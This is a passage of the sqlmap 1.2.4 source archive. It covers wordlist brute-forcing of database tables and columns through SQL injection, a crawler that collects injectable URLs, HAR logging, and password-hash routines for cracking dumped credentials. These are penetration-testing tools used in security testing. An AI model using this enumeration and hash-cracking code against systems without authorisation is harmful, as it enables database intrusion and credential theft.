scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" msg += "status Retrieve and show status for current task\n" msg += "option OPTION Retrieve and show option for current task\n" msg += "options Retrieve and show all options for current task\n" msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" dataToStdout(msg) elif command: logger.error("Unknown command '%s'" % command) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/brute.py���������������������������������������������������������������������0000664�0000000�0000000�00000026066�13260122637�0016430�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import time from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems from lib.core.common import Backend from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject def _addPageTextWords(): wordsList = [] infoMsg = "adding words used on web page to the check list" logger.info(infoMsg) pageWords = getPageWordSet(kb.originalPage) for word in pageWords: word = word.lower() if len(word) > 2 and not word[0].isdigit() and word not in wordsList: wordsList.append(word) return wordsList def tableExists(tableFile, regex=None): if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.tableExistsChoice = readInput(message, default='N', boolean=True) if not kb.tableExistsChoice: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.value = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no table(s) found" logger.warn(warnMsg) else: for item in threadData.shared.value: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.value): if _ not in kb.brute.tables: kb.brute.tables.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" logger.warn(warnMsg) message = "are you sure you want to continue? [y/N] " kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) message = "which common columns (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % columnFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common columns file location?\n" columnFile = readInput(message) or columnFile infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/crawler.py�������������������������������������������������������������������0000664�0000000�0000000�00000021332�13260122637�0016735�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import httplib import os import re import urlparse import tempfile import time from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import findPageForms from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.oset.pyoset import oset def crawl(target): try: visited = set() threadData = getCurrentThreadData() threadData.shared.value = oset() def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except httplib.InvalidURL, ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, unicode): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') if not tags: tags = re.finditer(r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = urlparse.urljoin(current, href) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass finally: if conf.forms: findPageForms(content, current, False, True) if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) threadData.shared.deeper = set() threadData.shared.unprocessed = set([target]) if not conf.sitemapUrl: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " if readInput(message, default='N', boolean=True): found = True items = None url = urlparse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) except SqlmapConnectionException, ex: if "page not found" in getSafeExString(ex): found = False logger.warn("'sitemap.xml' not found") except: pass finally: if found: if items: for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) if conf.crawlDepth > 1: threadData.shared.unprocessed.update(items) logger.info("%s links found" % ("no" if not items else len(items))) infoMsg = "starting crawler" if conf.bulkFile: infoMsg += " for target URL '%s'" % target logger.info(infoMsg) for i in xrange(conf.crawlDepth): threadData.shared.count = 0 threadData.shared.length = len(threadData.shared.unprocessed) numThreads = min(conf.threads, len(threadData.shared.unprocessed)) if not conf.bulkFile: logger.info("searching for links with depth %d" % (i + 1)) runThreads(numThreads, crawlThread, threadChoice=(i > 0)) clearConsoleLine(True) if threadData.shared.deeper: threadData.shared.unprocessed = set(threadData.shared.deeper) else: break except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) finally: clearConsoleLine(True) if not threadData.shared.value: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) else: for url in threadData.shared.value: kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) storeResultsToFile(kb.targets) def storeResultsToFile(results): if not results: return if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+b") as f: if conf.forms: f.write("URL,POST\n") for url, _, data, _, _ in results: if conf.forms: f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) else: f.write("%s\n" % url) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/deps.py����������������������������������������������������������������������0000664�0000000�0000000�00000010246�13260122637�0016233�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import IS_WIN def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName == DBMS.PGSQL: __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName == DBMS.HSQLDB: __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'http://code.google.com/p/impacket/'" logger.warn(warnMsg) missing_libraries.add('python-impacket') try: __import__("ntlm") debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'" logger.warn(warnMsg) missing_libraries.add('python-ntlm') try: __import__("websocket.ABNF") debugMsg = "'python websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" logger.warn(warnMsg) missing_libraries.add('websocket-client') if IS_WIN: try: __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'" logger.warn(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/getch.py���������������������������������������������������������������������0000664�0000000�0000000�00000004412�13260122637�0016370�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ class _Getch(object): """ Gets a single character from standard input. Does not echo to the screen (reference: http://code.activestate.com/recipes/134892/) """ def __init__(self): try: self.impl = _GetchWindows() except ImportError: try: self.impl = _GetchMacCarbon() except(AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): return self.impl() class _GetchUnix(object): def __init__(self): __import__("tty") def __call__(self): import sys import termios import tty fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch class _GetchWindows(object): def __init__(self): __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; if no ASCII key is down, the null string is returned. The page http://www.mactech.com/macintosh-c/chap02-1.html was very helpful in figuring out how to do this. """ def __init__(self): import Carbon Carbon.Evt # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: # # The event contains the following info: # (what,msg,when,where,mod)=Carbon.Evt.GetNextEvent(0x0008)[1] # # The message (msg) contains the ASCII char which is # extracted with the 0x000000FF charCodeMask; this # number is converted to an ASCII character with chr() and # returned # (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) getch = _Getch() ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/har.py�����������������������������������������������������������������������0000664�0000000�0000000�00000016740�13260122637�0016057�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 import BaseHTTPServer import datetime import httplib import re import StringIO import time from lib.core.bigarray import BigArray from lib.core.settings import VERSION # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ class HTTPCollectorFactory: def __init__(self, harFile=False): self.harFile = harFile def create(self): return HTTPCollector() class HTTPCollector: def __init__(self): self.messages = BigArray() self.extendedArguments = {} def setExtendedArguments(self, arguments): self.extendedArguments = arguments def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): self.messages.append(RawPair(requestMessage, responseMessage, startTime=startTime, endTime=endTime, extendedArguments=self.extendedArguments)) def obtain(self): return {"log": { "version": "1.2", "creator": {"name": "sqlmap", "version": VERSION}, "entries": [pair.toEntry().toDict() for pair in self.messages], }} class RawPair: def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): self.request = request self.response = response self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} def toEntry(self): return Entry(request=Request.parse(self.request), response=Response.parse(self.response), startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) class Entry: def __init__(self, request, response, startTime, endTime, extendedArguments): self.request = request self.response = response self.startTime = startTime or 0 self.endTime = endTime or 0 self.extendedArguments = extendedArguments def toDict(self): out = { "request": self.request.toDict(), "response": self.response.toDict(), "cache": {}, "timings": { "send": -1, "wait": -1, "receive": -1, }, "time": int(1000 * (self.endTime - self.startTime)), "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None } out.update(self.extendedArguments) return out class Request: def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): self.method = method self.path = path self.httpVersion = httpVersion self.headers = headers or {} self.postBody = postBody self.comment = comment.strip() if comment else comment self.raw = raw @classmethod def parse(cls, raw): request = HTTPRequest(raw) return cls(method=request.command, path=request.path, httpVersion=request.request_version, headers=request.headers, postBody=request.rfile.read(), comment=request.comment, raw=raw) @property def url(self): host = self.headers.get("Host", "unknown") return "http://%s%s" % (host, self.path) def toDict(self): out = { "httpVersion": self.httpVersion, "method": self.method, "url": self.url, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], "cookies": [], "queryString": [], "headersSize": -1, "bodySize": -1, "comment": self.comment, } if self.postBody: contentType = self.headers.get("Content-Type") out["postData"] = { "mimeType": contentType, "text": self.postBody.rstrip("\r\n"), } return out class Response: extract_status = re.compile(r'\((\d{3}) (.*)\)') def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): self.raw = raw self.httpVersion = httpVersion self.status = status self.statusText = statusText self.headers = headers self.content = content self.comment = comment.strip() if comment else comment @classmethod def parse(cls, raw): altered = raw comment = "" if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["): io = StringIO.StringIO(raw) first_line = io.readline() parts = cls.extract_status.search(first_line) status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2)) remain = io.read() altered = status_line + "\r\n" + remain comment = first_line response = httplib.HTTPResponse(FakeSocket(altered)) response.begin() try: content = response.read(-1) except httplib.IncompleteRead: content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n") return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", status=response.status, statusText=response.reason, headers=response.msg, content=content, comment=comment, raw=raw) def toDict(self): content = { "mimeType": self.headers.get("Content-Type"), "text": self.content, "size": len(self.content or "") } binary = set(['\0', '\1']) if any(c in binary for c in self.content): content["encoding"] = "base64" content["text"] = base64.b64encode(self.content) return { "httpVersion": self.httpVersion, "status": self.status, "statusText": self.statusText, "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], "cookies": [], "content": content, "headersSize": -1, "bodySize": -1, "redirectURL": "", "comment": self.comment, } class FakeSocket: # Original source: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string def __init__(self, response_text): self._file = StringIO.StringIO(response_text) def makefile(self, *args, **kwargs): return self._file class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler): # Original source: # https://stackoverflow.com/questions/4685217/parse-raw-http-headers def __init__(self, request_text): self.comment = None self.rfile = StringIO.StringIO(request_text) self.raw_requestline = self.rfile.readline() if self.raw_requestline.startswith("HTTP request ["): self.comment = self.raw_requestline self.raw_requestline = self.rfile.readline() self.error_code = self.error_message = None self.parse_request() def send_error(self, code, message): self.error_code = code self.error_message = message ��������������������������������sqlmap-1.2.4/lib/utils/hash.py����������������������������������������������������������������������0000664�0000000�0000000�00000124774�13260122637�0016237�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: from crypt import crypt except ImportError: from thirdparty.fcrypt.fcrypt import crypt _multiprocessing = None try: import multiprocessing # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) _ = multiprocessing.Queue() # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) _ = multiprocessing.Value('i') except (ImportError, OSError): pass else: try: if multiprocessing.cpu_count() > 1: _multiprocessing = multiprocessing except NotImplementedError: pass import base64 import binascii import gc import os import re import tempfile import time import zipfile from hashlib import md5 from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 from Queue import Queue from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import normalizeUnicode from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.convert import hexdecode from lib.core.convert import hexencode from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist from thirdparty.colorama.initialise import init as coloramainit from thirdparty.oset.pyoset import oset from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC def mysql_passwd(password, uppercase=True): """ Reference(s): http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c http://voidnetwork.org/5ynL0rd/darkc0de/python_script/darkMySQLi.html >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' """ a, b, c = 1345345333, 7, 0x12345671 for d in password: if d == ' ' or d == '\t': continue e = ord(d) a ^= (((a & 63) + b) * e) + (a << 8) c += (c << 8) ^ a b += e retVal = "%08lx%08lx" % (a & ((1 << 31) - 1), c & ((1 << 31) - 1)) return retVal.upper() if uppercase else retVal.lower() def postgres_passwd(password, username, uppercase=False): """ Reference(s): http://pentestmonkey.net/blog/cracking-postgres-hashes/ >>> postgres_passwd(password='testpass', username='testuser', uppercase=False) 'md599e5ea7a6f7c3269995cba3927fd0093' """ if isinstance(username, unicode): username = unicode.encode(username, UNICODE_ENCODING) if isinstance(password, unicode): password = unicode.encode(password, UNICODE_ENCODING) retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() def mssql_passwd(password, salt, uppercase=False): """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ binsalt = hexdecode(salt) unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' """ Reference(s): www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) 